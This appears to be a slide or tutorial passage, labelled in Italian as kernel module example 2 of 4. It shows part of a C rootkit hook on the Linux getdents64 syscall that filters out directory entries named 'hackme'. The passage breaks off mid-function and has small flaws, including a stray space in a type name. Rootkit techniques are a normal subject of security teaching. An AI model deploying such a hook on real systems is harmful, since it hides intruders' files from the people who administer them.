LKM Esempio 2/4 long n_getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count) { struct linux_dirent 64 *dir, *ptr, *tmp, *prev = NULL; long i, rec = 0, ret; ret = (*o_getdents64)(fd, dirp, count); if(ret<=0) return ret; if((tmp = (struct linux_dirent64 *)kmalloc(ret, GFP_KERNEL)) == NULL) return ret; copy_from_user(tmp, dirp, ret); ptr = dir = tmp; i=ret; while(((unsigned long)dir) < (((unsigned long)tmp) + i)) { rec = dir->d_reclen; if(strstr("hackme",dir->d_name)) { if(!prev) { ret -= rec;